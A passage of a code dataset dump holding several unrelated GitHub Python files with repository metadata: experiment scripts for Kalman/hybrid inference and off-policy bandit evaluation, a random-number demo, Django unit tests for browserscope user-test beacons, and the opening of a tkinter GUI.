break\nprint(\"Keeping\",kept_primes)\n","repo_name":"PacktPublishing/Getting-Started-with-Modern-Python","sub_path":"Section4/generators_primes.py","file_name":"generators_primes.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"5089724019","text":"import settings\nimport main\nimport numpy as np\nimport utils.directory_utils as d_utils\nimport time\n\nargs = settings.get_settings()\nargs.exp_name = str(time.time())+'_nclt'\nargs.batch_size = 1\nargs.gamma = 0.03\nargs.init = 'meas_invariant'\nepochs = 200\nd_utils.init_folders(args.exp_name)\n\ndef baseline():\n args.prior = False\n args.learned = False\n args.epochs = 1\n _, test = main.main_nclt_hybrid(args)\n return test\n\ndef kalman():\n best_val = 1e8\n best_sigma = 0.15, 0.15\n best_lamb = 0.5\n test_error = 1e8\n for sx in np.linspace(0.05, 0.15, 10):\n for lamb in np.linspace(0.05, 0.81, 10):\n val, test = main.main_nclt_kalman(args, sx, sx, lamb, val_on_train=True)\n if val < best_val:\n best_val = val\n best_sigma = (sx, sx)\n best_lamb = lamb\n test_error = test\n return best_sigma, best_lamb, test_error\n\n\ndef only_prior(data=1000):\n args.K = 100\n args.tr_samples = 0\n args.val_samples = data\n args.prior = True\n args.learned = False\n args.epochs = 1\n best_val = 1e8\n best_sigma = 0.15\n best_lamb = 0.5\n test_error = 1e8\n for sx in np.linspace(0.16, 0.25, 10):\n for lamb in np.linspace(1.1, 3, 5):\n val, test = main.main_nclt_hybrid(args, sx, sx, lamb, val_on_train=True)\n if val < best_val:\n best_val = val\n best_sigma = (sx, sx)\n best_lamb = lamb\n test_error = test\n #if best_sigma == 0.7:\n # raise ('Sigma is in the limit')\n return best_sigma, best_lamb, test_error\n\n\ndef only_learned():\n args.K = 100\n args.prior = False\n args.learned = True\n args.epochs = epochs\n _, test = main.main_nclt_hybrid(args)\n return test\n\n\ndef hybrid(sx=0.05, sy=0.05, lamb=0.9):\n args.K = 100\n args.prior = True\n args.learned = True\n args.epochs = epochs\n _, test = main.main_nclt_hybrid(args, sx, sy, lamb)\n return test\n\n\nif __name__ == '__main__':\n\n results = {'baseline': [], 'prior': [], 'learned': [], 'hybrid': [], 'kalman': [], 'sigma_k': [], 'lamb_k': [], 'sigma': [], 'lamb': [], 'ratio': []}\n\n for ratio in np.linspace(1, 1., 1):\n args.nclt_ratio = ratio\n\n results['ratio'].append(ratio)\n results['baseline'] = baseline()\n\n ## kalman ##\n sigma, lamb, test_error = kalman()\n results['lamb_k'].append(lamb)\n results['sigma_k'].append(sigma)\n results['kalman'].append(test_error)\n\n\n ## Only Prior ##\n sigma, lamb, test_error = only_prior()\n results['lamb'].append(lamb)\n results['sigma'].append(sigma)\n results['prior'].append(test_error)\n\n ## Only Learned ##\n results['learned'].append(only_learned())\n\n ## Hybrid ##\n sx, sy = sigma\n results['hybrid'].append(hybrid(sx, sy, lamb))\n\n print(results)\n\n","repo_name":"vgsatorras/hybrid-inference","sub_path":"exp3_nclt.py","file_name":"exp3_nclt.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"7"} +{"seq_id":"41256273584","text":"from dataclasses import dataclass\nfrom logging import getLogger\nfrom pathlib import Path\nfrom time import time\nfrom typing import Optional\nimport warnings\n\nimport hydra\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom obp.dataset import OpenBanditDataset\nfrom obp.ope import RegressionModel\nfrom obp.policy import BernoulliTS\nfrom obp.policy import Random\nfrom obp.types import BanditFeedback\nfrom omegaconf import DictConfig\nfrom ope import run_ope\nimport pandas as pd\nfrom pandas import DataFrame\nimport seaborn as sns\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.exceptions import ConvergenceWarning\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.utils import check_random_state\nfrom sklearn.utils import check_scalar\n\n\nwarnings.filterwarnings(\"ignore\", category=ConvergenceWarning)\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\nwarnings.filterwarnings(\"ignore\", category=UserWarning)\n\nlogger = getLogger(__name__)\n\n\nregistered_colors = {\n \"MIPS (w/o SLOPE)\": \"tab:gray\",\n \"MIPS (w/ SLOPE)\": \"tab:green\",\n \"IPS\": \"tab:red\",\n \"DR\": \"tab:blue\",\n \"DM\": \"tab:purple\",\n \"SwitchDR\": \"tab:brown\",\n \"MRDR\": \"tab:cyan\",\n r\"DR-$\\lambda$\": \"tab:olive\",\n \"DRos\": \"tab:pink\",\n}\n\n\n@dataclass\nclass ModifiedOpenBanditDataset(OpenBanditDataset):\n @property\n def n_actions(self) -> int:\n \"\"\"Number of actions.\"\"\"\n return int(self.action.max() + 1)\n\n def pre_process(self) -> None:\n \"\"\"Preprocess raw open bandit dataset.\"\"\"\n user_cols = self.data.columns.str.contains(\"user_feature\")\n self.context = pd.get_dummies(\n self.data.loc[:, user_cols], drop_first=True\n ).values\n pos = DataFrame(self.position)\n self.action_context = (\n self.item_context.drop(columns=[\"item_id\", \"item_feature_0\"], axis=1)\n .apply(LabelEncoder().fit_transform)\n .values\n )\n self.action_context = self.action_context[self.action]\n self.action_context = np.c_[self.action_context, pos]\n\n self.action = self.position * self.n_actions + self.action\n self.position = np.zeros_like(self.position)\n self.pscore /= 3\n\n def sample_bootstrap_bandit_feedback(\n self,\n sample_size: Optional[int] = None,\n test_size: float = 0.3,\n is_timeseries_split: bool = False,\n random_state: Optional[int] = None,\n ) -> BanditFeedback:\n\n if is_timeseries_split:\n bandit_feedback = self.obtain_batch_bandit_feedback(\n test_size=test_size, is_timeseries_split=is_timeseries_split\n )[0]\n else:\n bandit_feedback = self.obtain_batch_bandit_feedback(\n test_size=test_size, is_timeseries_split=is_timeseries_split\n )\n n_rounds = bandit_feedback[\"n_rounds\"]\n if sample_size is None:\n sample_size = bandit_feedback[\"n_rounds\"]\n else:\n check_scalar(\n sample_size,\n name=\"sample_size\",\n target_type=(int),\n min_val=0,\n max_val=n_rounds,\n )\n random_ = check_random_state(random_state)\n bootstrap_idx = random_.choice(\n np.arange(n_rounds), size=sample_size, replace=True\n )\n for key_ in [\n \"action\",\n \"position\",\n \"reward\",\n \"pscore\",\n \"context\",\n \"action_context\",\n ]:\n bandit_feedback[key_] = bandit_feedback[key_][bootstrap_idx]\n bandit_feedback[\"n_rounds\"] = sample_size\n return bandit_feedback\n\n\n@hydra.main(config_path=\"./conf\", config_name=\"config\")\ndef main(cfg: DictConfig) -> None:\n print(cfg)\n logger.info(f\"The current working directory is {Path().cwd()}\")\n start_time = time()\n\n # log path\n log_path = Path(\"./all\")\n df_path = log_path / \"df\"\n df_path.mkdir(exist_ok=True, parents=True)\n fig_path = log_path / \"fig\"\n fig_path.mkdir(exist_ok=True, parents=True)\n\n # configurations\n sample_size = cfg.setting.sample_size\n random_state = cfg.setting.random_state\n obd_path = Path().cwd().parents[1] / \"open_bandit_dataset\"\n\n # define policies\n policy_ur = Random(\n n_actions=80,\n len_list=3,\n random_state=random_state,\n )\n policy_ts = BernoulliTS(\n n_actions=80,\n len_list=3,\n random_state=random_state,\n is_zozotown_prior=True,\n campaign=\"all\",\n )\n\n # calc ground-truth policy value (on-policy)\n policy_value = ModifiedOpenBanditDataset.calc_on_policy_policy_value_estimate(\n behavior_policy=\"bts\", campaign=\"all\", data_path=obd_path\n )\n\n # define a dataset class\n dataset = ModifiedOpenBanditDataset(\n behavior_policy=\"random\",\n data_path=obd_path,\n campaign=\"all\",\n )\n\n elapsed_prev = 0.0\n squared_error_list = []\n relative_squared_error_list = []\n for t in np.arange(cfg.setting.n_seeds):\n pi_b = policy_ur.compute_batch_action_dist(n_rounds=sample_size)\n pi_e = policy_ts.compute_batch_action_dist(n_rounds=sample_size)\n pi_e = pi_e.reshape(sample_size, 240, 1) / 3\n\n val_bandit_data = dataset.sample_bootstrap_bandit_feedback(\n sample_size=sample_size,\n random_state=t,\n )\n val_bandit_data[\"pi_b\"] = pi_b.reshape(sample_size, 240, 1) / 3\n\n regression_model = RegressionModel(\n n_actions=dataset.n_actions,\n base_model=RandomForestClassifier(\n n_estimators=10, max_samples=0.8, random_state=12345\n ),\n )\n estimated_rewards = regression_model.fit_predict(\n context=val_bandit_data[\"context\"], # context; x\n action=val_bandit_data[\"action\"], # action; a\n reward=val_bandit_data[\"reward\"], # reward; r\n n_folds=2,\n random_state=12345,\n )\n\n squared_errors, relative_squared_errors = run_ope(\n val_bandit_data=val_bandit_data,\n action_dist_val=pi_e,\n estimated_rewards=estimated_rewards,\n estimated_rewards_mrdr=estimated_rewards,\n policy_value=policy_value,\n )\n squared_error_list.append(squared_errors)\n relative_squared_error_list.append(relative_squared_errors)\n\n elapsed = np.round((time() - start_time) / 60, 2)\n diff = np.round(elapsed - elapsed_prev, 2)\n logger.info(f\"t={t}: {elapsed}min (diff {diff}min)\")\n elapsed_prev = elapsed\n\n # aggregate all results\n result_df = (\n DataFrame(DataFrame(squared_error_list).stack())\n .reset_index(1)\n .rename(columns={\"level_1\": \"est\", 0: \"se\"})\n )\n result_df.reset_index(inplace=True, drop=True)\n result_df.to_csv(df_path / \"result_df.csv\")\n\n rel_result_df = (\n DataFrame(DataFrame(relative_squared_error_list).stack())\n .reset_index(1)\n .rename(columns={\"level_1\": \"est\", 0: \"se\"})\n )\n rel_result_df.reset_index(inplace=True, drop=True)\n rel_result_df.to_csv(df_path / \"rel_result_df.csv\")\n\n # plot CDFs\n estimators = result_df.est.unique().tolist()\n palette = [registered_colors[est] for est in estimators[::-1]]\n\n ### CDF of relative SE ###\n fig, ax = plt.subplots(figsize=(12, 7), tight_layout=True)\n sns.ecdfplot(\n linewidth=4,\n palette=palette,\n data=rel_result_df,\n x=\"se\",\n hue=\"est\",\n hue_order=estimators[::-1],\n ax=ax,\n )\n # title and legend\n ax.legend(estimators, loc=\"upper left\", fontsize=22)\n # yaxis\n ax.set_ylabel(\"probability\", fontsize=25)\n ax.tick_params(axis=\"y\", labelsize=18)\n ax.yaxis.set_label_coords(-0.08, 0.5)\n # xaxis\n ax.set_xscale(\"log\")\n ax.set_xlabel(\"relative squared errors w.r.t. IPS\", fontsize=25)\n ax.tick_params(axis=\"x\", labelsize=18)\n ax.xaxis.set_label_coords(0.5, -0.1)\n plt.savefig(fig_path / \"relative_cdf.png\")\n\n ### CDF of relative SE zoom ###\n fig, ax = plt.subplots(figsize=(12, 7), tight_layout=True)\n sns.ecdfplot(\n linewidth=4,\n palette=palette,\n data=rel_result_df,\n x=\"se\",\n hue=\"est\",\n hue_order=estimators[::-1],\n ax=ax,\n )\n # title and legend\n ax.legend(estimators, loc=\"upper left\", fontsize=22)\n # yaxis\n ax.set_ylabel(\"probability\", fontsize=25)\n ax.tick_params(axis=\"y\", labelsize=18)\n ax.yaxis.set_label_coords(-0.08, 0.5)\n # xaxis\n ax.set_xscale(\"log\")\n ax.set_xlim(0.09, 10)\n ax.set_xlabel(\"relative squared errors w.r.t. IPS\", fontsize=25)\n ax.tick_params(axis=\"x\", labelsize=18)\n ax.xaxis.set_label_coords(0.5, -0.1)\n plt.savefig(fig_path / \"relative_cdf_zoom.png\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"usaito/icml2022-mips","sub_path":"src/real/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8837,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"7"} +{"seq_id":"15529471297","text":"# random\n# 随机数 - 所有的随机模块是伪随机\nimport random ,time\nt1 = time.time()\nprint(t1)\nwhile(True):\n num = int(random.random()*100)\n if num == 99:\n print(num)\n break\nprint(float(time.time() - t1))\n\n\n# randint随机生成指定范围随机数,包含左右\nprint(random.randint(0,100))","repo_name":"shichuqi/pythonLearn","sub_path":"常用模块/03.py","file_name":"03.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1069755734","text":"__author__ = 'elsigh@google.com (Lindsey Simon)'\n\n\nimport datetime\nimport logging\nimport re\nimport unittest\n\nfrom django.test.client import Client\n\nfrom google.appengine.api import memcache\nfrom google.appengine.api import users\nfrom google.appengine.ext import db\n\nfrom base import util\n\nfrom categories import all_test_sets\n\nfrom models import result_stats\nimport models.user_test\n\nimport mock_data\nimport settings\nfrom third_party import mox\n\n\ndef repeat_to_length(string_to_expand, length):\n return (string_to_expand * ((length/len(string_to_expand))+1))[:length]\n\n\nclass TestModels(unittest.TestCase):\n\n def testUser(self):\n current_user = users.get_current_user()\n u = models.user_test.User.get_or_insert(current_user.user_id())\n u.email = current_user.email()\n u.save()\n\n user_q = models.user_test.User.get_by_key_name(current_user.user_id())\n self.assertTrue(user_q.email, current_user.email())\n\n def testGetTestSetFromResultString(self):\n current_user = users.get_current_user()\n u = models.user_test.User.get_or_insert(current_user.user_id())\n test = models.user_test.Test(user=u, name='Fake Test',\n url='http://fakeurl.com/test.html',\n description='stuff')\n test.save()\n\n results_str = 'test_1=0,test_2=1'\n test_set_category = 'usertest_%s' % test.key()\n test_set = models.user_test.Test.get_test_set_from_results_str(\n test_set_category, results_str)\n self.assertTrue(test_set != None)\n self.assertEqual(test_set.category, test_set_category)\n self.assertEqual(len(test_set.tests), 2)\n self.assertEqual('test_1', test_set.tests[0].key)\n self.assertEqual('test_2', test_set.tests[1].key)\n\n def testGetTestSetFromResultStringThrowsOnLongKeys(self):\n current_user = users.get_current_user()\n u = models.user_test.User.get_or_insert(current_user.user_id())\n test = models.user_test.Test(user=u, name='Fake Test',\n url='http://fakeurl.com/test.html',\n description='stuff')\n test.save()\n\n too_long_key_name = repeat_to_length('x',\n models.user_test.MAX_KEY_LENGTH + 1)\n results_str = 'test_1=0,test_2=1,%s=2' % too_long_key_name\n test_set_category = 'usertest_%s' % test.key()\n self.assertRaises(models.user_test.KeyTooLong,\n models.user_test.Test.get_test_set_from_results_str,\n test_set_category, results_str)\n\n\nclass TestBasics(unittest.TestCase):\n\n def setUp(self):\n self.client = Client()\n\n def testHowto(self):\n response = self.client.get('/user/tests/howto')\n self.assertEqual(200, response.status_code)\n\n def testGetSettings(self):\n response = self.client.get('/user/settings')\n self.assertEqual(200, response.status_code)\n\n def testCreateTestBad(self):\n csrf_token = self.client.get('/get_csrf').content\n data = {\n 'name': '',\n 'url': 'http://fakeurl.com/test.html',\n 'description': 'whatever',\n 'csrf_token': csrf_token,\n }\n response = self.client.post('/user/tests/create', data)\n self.assertEqual(200, response.status_code)\n\n tests = db.Query(models.user_test.Test)\n self.assertEquals(0, tests.count())\n\n def testCreateTestOk(self):\n csrf_token = self.client.get('/get_csrf').content\n data = {\n 'name': 'FakeTest',\n 'url': 'http://fakeurl.com/test.html',\n 'description': 'whatever',\n 'csrf_token': csrf_token,\n }\n response = self.client.post('/user/tests/create', data)\n # Should redirect to /user/settings when all goes well.\n self.assertEqual(302, response.status_code)\n\n tests = db.Query(models.user_test.Test)\n self.assertEquals(1, tests.count())\n\n\nclass TestWithData(unittest.TestCase):\n\n def setUp(self):\n self.client = Client()\n current_user = users.get_current_user()\n u = models.user_test.User.get_or_insert(current_user.user_id())\n u.email = current_user.email()\n u.save()\n meta = models.user_test.TestMeta().save()\n self.test = models.user_test.Test(user=u, name='Fake Test',\n url='http://fakeurl.com/test.html',\n description='stuff', sandboxid='sand',\n meta=meta)\n self.test.save()\n\n\n def saveData(self):\n \"\"\"Other tests call this function to save simple data.\"\"\"\n params = {\n 'category': self.test.get_memcache_keyname(),\n 'results': 'apple=1,banana=20000,coconut=400000',\n }\n csrf_token = self.client.get('/get_csrf').content\n params['csrf_token'] = csrf_token\n response = self.client.get('/beacon', params, **mock_data.UNIT_TEST_UA)\n self.assertEqual(204, response.status_code)\n\n\n def testDataValueGreateThanMaxFails(self):\n params = {\n 'category': self.test.get_memcache_keyname(),\n 'results': 'apple=%s,banana=2,coconut=4' %\n str(models.user_test.MAX_VALUE + 1),\n }\n csrf_token = self.client.get('/get_csrf').content\n params['csrf_token'] = csrf_token\n response = self.client.get('/beacon', params, **mock_data.UNIT_TEST_UA)\n self.assertEqual(500, response.status_code)\n\n\n def testDataWithTooManyKeysFails(self):\n results_list = []\n for i in range(models.user_test.MAX_KEY_COUNT + 1):\n results_list.append('key%s=data%s' % (i,i))\n\n params = {\n 'category': self.test.get_memcache_keyname(),\n 'results': ','.join(results_list),\n }\n csrf_token = self.client.get('/get_csrf').content\n params['csrf_token'] = csrf_token\n response = self.client.get('/beacon', params, **mock_data.UNIT_TEST_UA)\n self.assertEqual(500, response.status_code)\n\n\n def testUpdateTestMeta(self):\n # Invoke the deferred handler forcefully since the SDK won't run\n # our deferred tasks.\n params = {\n 'category': self.test.get_memcache_keyname(),\n 'results': 'apple=1,banana=2,coconut=4',\n }\n csrf_token = self.client.get('/get_csrf').content\n params['csrf_token'] = csrf_token\n response = self.client.get('/beacon', params, **mock_data.UNIT_TEST_UA)\n\n self.assertFalse(hasattr(self.test.meta, 'apple_min_value'))\n\n models.user_test.update_test_meta(self.test.key(),\n [['apple', '1'], ['banana', '2'], ['coconut', '3']])\n # update our reference\n meta = models.user_test.TestMeta.get(self.test.meta.key())\n self.assertTrue(hasattr(meta, 'apple_min_value'))\n self.assertTrue(hasattr(meta, 'apple_max_value'))\n self.assertTrue(hasattr(meta, 'coconut_min_value'))\n self.assertTrue(hasattr(meta, 'coconut_max_value'))\n self.assertEquals(1, meta.apple_min_value)\n self.assertEquals(1, meta.apple_max_value)\n self.assertEquals(2, meta.banana_min_value)\n self.assertEquals(2, meta.banana_max_value)\n self.assertEquals(3, meta.coconut_min_value)\n self.assertEquals(3, meta.coconut_max_value)\n\n models.user_test.update_test_meta(self.test.key(),\n [['apple', '0'], ['banana', '2'], ['coconut', '30']])\n # update our reference\n meta = models.user_test.TestMeta.get(self.test.meta.key())\n self.assertEquals(0, meta.apple_min_value)\n self.assertEquals(1, meta.apple_max_value)\n self.assertEquals(2, meta.banana_min_value)\n self.assertEquals(2, meta.banana_max_value)\n self.assertEquals(3, meta.coconut_min_value)\n self.assertEquals(30, meta.coconut_max_value)\n\n\n def testUserBeaconJsReturn(self):\n response = self.client.get('/user/beacon/%s' % self.test.key())\n self.assertEquals('text/javascript', response['Content-type'])\n\n # There should be no callback setTimeout in the page.\n self.assertFalse(re.search('window.setTimeout', response.content))\n\n # There should be no sandboxid in the page.\n self.assertFalse(re.search('sandboxid', response.content))\n\n # There test_result_var name should be the default.\n self.assertTrue(re.search(settings.USER_TEST_RESULTS_VAR_DEFAULT,\n response.content))\n\n # Now test a beacon with a callback specified.\n # This is a regex test ensuring it's there in a setTimeout.\n params = {'callback': 'MyFunction', 'sandboxid': 'foobar'}\n response = self.client.get('/user/beacon/%s' % self.test.key(), params)\n self.assertEquals('text/javascript', response['Content-type'])\n self.assertTrue(re.search('window.setTimeout\\(%s' % params['callback'],\n response.content))\n self.assertTrue(re.search(\"'sandboxid': '%s'\" % params['sandboxid'],\n response.content))\n\n # Now test a test_results_var specified.\n params = {'test_results_var': 'MyFunkyVar'}\n response = self.client.get('/user/beacon/%s' % self.test.key(), params)\n self.assertEquals('text/javascript', response['Content-type'])\n\n # The default should not be present, but our custom one should.\n self.assertFalse(re.search(settings.USER_TEST_RESULTS_VAR_DEFAULT,\n response.content))\n self.assertTrue(re.search('MyFunkyVar', response.content))\n\n\n def testBeaconResultsTableGvizData(self):\n self.saveData()\n response = self.client.get('/gviz_table_data',\n {'category': 'usertest_%s' % self.test.key(), 'v': '3'},\n **mock_data.UNIT_TEST_UA)\n self.assertEqual(200, response.status_code)\n # Note that gviz data has thousands formatted with commas.\n self.assertEqual(\"google.visualization.Query.setResponse({'version':'0.6', 'reqId':'0', 'status':'OK', 'table': {cols:[{id:'ua',label:'UserAgent',type:'string'},{id:'apple',label:'apple',type:'number'},{id:'banana',label:'banana',type:'number'},{id:'coconut',label:'coconut',type:'number'},{id:'numtests',label:'# Tests',type:'number'}],rows:[{c:[{v:'other',f:'Other',p:{'className':'rt-ua-cur'}},{v:100,f:'1',p:{}},{v:100,f:'20,000',p:{}},{v:100,f:'400,000',p:{}},{v:1}]}]}});\",\n response.content)\n\n\n def NOtestBeaconResultsTable(self):\n self.saveData()\n response = self.client.get('/user/tests/table/%s' % self.test.key(),\n {'v': '3'},\n **mock_data.UNIT_TEST_UA)\n self.assertEqual(200, response.status_code)\n self.assertEqual('text/html', response['Content-type'])\n strings_to_test_for = [\n # test.name\n '

    Fake Test

    ',\n # test.description\n '

    stuff

    ',\n # Hidden form field in the browser v select.\n #('' % self.test.key()),\n # Ensures that 1 test was saved and that full category update worked.\n #'1\\s+test\\s+from\\s+1\\s+browser',\n # test_keys are there as headers\n 'apple', 'banana', 'coconut',\n ]\n for string_value in strings_to_test_for:\n self.assertTrue(re.search(string_value, response.content), string_value)\n\n\n def testBeaconResultsTableJSON(self):\n self.saveData()\n response = self.client.get('/user/tests/table/%s' % self.test.key(),\n {'v': '3', 'o': 'json'},\n **mock_data.UNIT_TEST_UA)\n self.assertEqual(200, response.status_code)\n self.assertEqual('application/json', response['Content-type'])\n self.assertTrue(re.search(\n '\"category\": \"usertest_%s\"' % self.test.key(),\n response.content))\n\n # callback test\n response = self.client.get('/user/tests/table/%s' % self.test.key(),\n {'v': '3', 'o': 'json', 'callback': 'myFn'},\n **mock_data.UNIT_TEST_UA)\n self.assertEqual(200, response.status_code)\n self.assertEqual('application/json', response['Content-type'])\n self.assertTrue(re.search(\n '\"category\": \"usertest_%s\"' % self.test.key(),\n response.content))\n self.assertTrue(re.search('^myFn\\(\\{', response.content))\n\n\n def testBeaconWithSandboxId(self):\n params = {\n 'category': self.test.get_memcache_keyname(),\n 'results': 'apple=1,banana=2,coconut=4',\n }\n # Run 10 times.\n for i in range(11):\n csrf_token = self.client.get('/get_csrf').content\n params['csrf_token'] = csrf_token\n response = self.client.get('/beacon', params, **mock_data.UNIT_TEST_UA)\n self.assertEqual(204, response.status_code)\n\n # The 11th should bomb due to IP throttling.\n csrf_token = self.client.get('/get_csrf').content\n params['csrf_token'] = csrf_token\n response = self.client.get('/beacon', params, **mock_data.UNIT_TEST_UA)\n self.assertEqual(util.BAD_BEACON_MSG + 'IP', response.content)\n\n # But we should be able to run 11 beacons (i.e. 10 + 1) with a sandboxid.\n params['sandboxid'] = self.test.sandboxid\n # Run 11 times\n for i in range(12):\n csrf_token = self.client.get('/get_csrf').content\n params['csrf_token'] = csrf_token\n response = self.client.get('/beacon', params, **mock_data.UNIT_TEST_UA)\n self.assertEqual(204, response.status_code,\n 'Failed on run %s with sandboxid %s' % (i, params['sandboxid']))\n\n\n\nclass TestAliasedUserTest(unittest.TestCase):\n \"\"\"Using HTML5 as an example.\"\"\"\n\n def setUp(self):\n self.client = Client()\n\n current_user = users.get_current_user()\n u = models.user_test.User.get_or_insert(current_user.user_id())\n u.email = current_user.email()\n u.save()\n\n test = models.user_test.Test(user=u, name='Fake Test',\n url='http://fakeurl.com/test.html',\n description='stuff')\n # Because GAEUnit won't run the deferred taskqueue properly.\n test.test_keys = ['apple', 'coconut', 'banana']\n test.save()\n self.test = test\n\n self.test_set = mock_data.MockUserTestSet()\n self.test_set.user_test_category = test.get_memcache_keyname()\n #all_test_sets.AddTestSet(self.test_set)\n\n params = {\n 'category': self.test.get_memcache_keyname(),\n 'results': 'apple=1,banana=2,coconut=4',\n }\n csrf_token = self.client.get('/get_csrf').content\n params['csrf_token'] = csrf_token\n response = self.client.get('/beacon', params, **mock_data.UNIT_TEST_UA)\n self.assertEqual(204, response.status_code)\n\n def testResultStats(self):\n stats = {\n 'Other': {\n 'summary_display': '7/3',\n 'total_runs': 1,\n 'summary_score': 233,\n 'results': {\n 'apple': {'score': 100, 'raw_score': 1, 'display': 1},\n 'banana': {'score': 100, 'raw_score': 2, 'display': 2},\n 'coconut': {'score': 100, 'raw_score': 4, 'display': 4},\n }\n },\n 'total_runs': 1,\n }\n # First get results for the UserTest test_set\n test_set = self.test.get_test_set_from_test_keys(\n ['apple', 'banana', 'coconut'])\n results = result_stats.CategoryStatsManager.GetStats(\n test_set, browsers=('Other',),\n test_keys=['apple', 'banana', 'coconut'], use_memcache=False)\n self.assertEqual(stats, results)\n\n # Our MockTestSet has GetTestScoreAndDisplayValue &\n # GetRowScoreAndDisplayValue\n stats = {\n 'Other': {\n 'summary_display': '7',\n 'total_runs': 1,\n 'summary_score': 14,\n 'results': {\n 'apple': {'score': 2, 'raw_score': 1, 'display': 'd:2'},\n 'banana': {'score': 4, 'raw_score': 2, 'display': 'd:4'},\n 'coconut': {'score': 8, 'raw_score': 4, 'display': 'd:8'},\n }\n },\n 'total_runs': 1,\n }\n\n # Now see if the test_set with user_test_category gets the same.\n results = result_stats.CategoryStatsManager.GetStats(\n self.test_set, browsers=('Other',),\n test_keys=['apple', 'banana', 'coconut'], use_memcache=False)\n self.assertEqual(stats, results)\n\n\nclass TestAPI(unittest.TestCase):\n\n def setUp(self):\n self.client = Client()\n\n def testCreateTestFailsWithInvalidApiKey(self):\n data = {\n 'name': 'Test test',\n 'url': 'http://fakeurl.com/test.html',\n 'description': 'whatever',\n 'api_key': 'invalid key'\n }\n response = self.client.post('/user/tests/create', data)\n self.assertEqual(200, response.status_code)\n\n tests = db.Query(models.user_test.Test)\n self.assertEquals(0, tests.count())\n self.assertTrue(re.search('No user was found', response.content))\n\n def testCreateTestOk(self):\n current_user = users.get_current_user()\n user = models.user_test.User.get_or_insert(current_user.user_id())\n data = {\n 'name': 'Test test',\n 'url': 'http://fakeurl.com/test.html',\n 'description': 'whatever',\n 'api_key': user.key().name()\n }\n response = self.client.get('/user/tests/create', data)\n self.assertEqual(200, response.status_code)\n tests = db.Query(models.user_test.Test)\n self.assertEquals(1, tests.count())\n self.assertEquals('{\"test_key\": \"%s\"}' % tests[0].key(), response.content)\n\n","repo_name":"elsigh/browserscope","sub_path":"test/test_user_tests.py","file_name":"test_user_tests.py","file_ext":"py","file_size_in_byte":16585,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"7"} +{"seq_id":"39967661367","text":"from tkinter import *\r\n# THE NEXT IMPORT LET US TO USE THE FLOATING WINDOWS.\r\nfrom tkinter import messagebox\r\nfrom tkinter import filedialog\r\nfrom functools import partial\r\nfrom sys import getsizeof\r\nfrom io import open\r\nfrom os import path\r\n\r\n\r\nclass Ventana():\r\n#commit\r\n# este es un comentario para hacer commit\r\n def __init__(self):\r\n self.initializeComponents()\r\n self.__selectedNumber = StringVar()\r\n self.addWidgetsLeftFrame()\r\n self.readDefaultAlgorimth()\r\n self.createMenu()\r\n self.__optionCloseApp = False\r\n self.__file = \"Fichero No encontrado\"\r\n \r\n # IT IS TO IMPORTANT TO CALL THIS METHOD HERE, BECAUSE AFTER CALL\r\n # ALL THE OTHER METHODS, THE WINDOWS NEEDS TO ENTER IN A INFINITE CICLE.\r\n self.__root.mainloop()\r\n\r\n def writeNumber(self, num):\r\n self.__selectedNumber.set(num)\r\n \r\n def showInfoSoftware(self):\r\n messagebox.showinfo(\"Bienvenido Usuario\", \"Este software esta en desarrollo, el primer modulo es una calculadora!\")\r\n \r\n def showTextHelp(self):\r\n messagebox.showwarning(\"Peligro\", \"Usted es digno de ayuda\")\r\n \r\n def closeApplication(self):\r\n self.__optionCloseApp = messagebox.askquestion(\"Salir\", \"Deseas cerrar la applicacion\")\r\n if (self.__optionCloseApp == \"yes\"):\r\n self.__root.destroy()\r\n else:\r\n print(\"Seguimos en el programa\")\r\n \r\n def openFiles(self):\r\n # THE ATTRIBUTE , initialdir, LET US TO INDICATE IN WICH DIR WE WOULD LIKE TO BEGIN SERCHING THE FILE.\r\n self.__file = filedialog.askopenfilename(title=\"ABRE UN DOCUMENTO PARA EL PROYECTO DE PARADIGMAS\", initialdir=\"C:\")\r\n # filetypes=((\"Ficheros de Excel\",\".xlsx\"),(\"Ficheros de texto\",\".txt\"),(\"Todos lo ficheros\",\".*\")))\r\n self.__fileName = path.basename(self.__file)\r\n print(self.__fileName)\r\n \r\n def initializeComponents(self):\r\n self.__root = Tk()\r\n self.__root.title(\"Paradigmas (Traductor)\")\r\n self.__root.geometry(\"1000x550\")\r\n self.__root.minsize(975, 300)\r\n self.__frame1 = Frame(self.__root, bg=\"white\")\r\n self.__frame2 = Frame(self.__root, bg=\"white\")\r\n \r\n \r\n self.__frame1.pack(side=LEFT, expand=TRUE, fill=\"both\")\r\n self.__frame2.pack(side=RIGHT, expand=TRUE, fill=\"both\")\r\n \r\n def addWidgetsLeftFrame(self):\r\n self.__cajalenguaje = Text(self.__frame1, width=80, height=26, bd=2, fg=\"blue\", font=(\"Calibri\", 12))\r\n self.__cajalenguaje.grid(row=1, column=0, padx=1, pady=1, sticky=W + E + N + S)\r\n \r\n # widgets de frame de la derecha\r\n self.__frameRun = Frame(self.__frame2, bg=\"lightgray\")\r\n self.__frameRun.grid(row=0, column=0, padx=10, pady=10, columnspan=4, sticky=W + E + N + S)\r\n \r\n self.__labelRun = Label(self.__frameRun, text=\"Run\", font=('Arial', 12, 'bold', 'italic'), justify=\"center\", width=6)\r\n self.__labelRun.grid(row=0, column=0, padx=5, pady=5, sticky=W + E + N + S)\r\n \r\n self.__cajatexto = Entry(self.__frameRun, width=40)\r\n self.__cajatexto.grid(row=1, column=0, columnspan=10, padx=5, pady=5, sticky=W + E + N + S)\r\n \r\n self.__botonRun = Button(self.__frameRun, text=\"Try\", command=lambda:self.addStringToHistory(), font=('Arial', 12, 'bold', 'italic'))\r\n self.__botonRun.grid(row=2, column=0, padx=5, pady=5, sticky=W + E + N + S)\r\n \r\n self.__botonStep = Button(self.__frameRun, text=\"Steps\", font=('Arial', 12, 'bold', 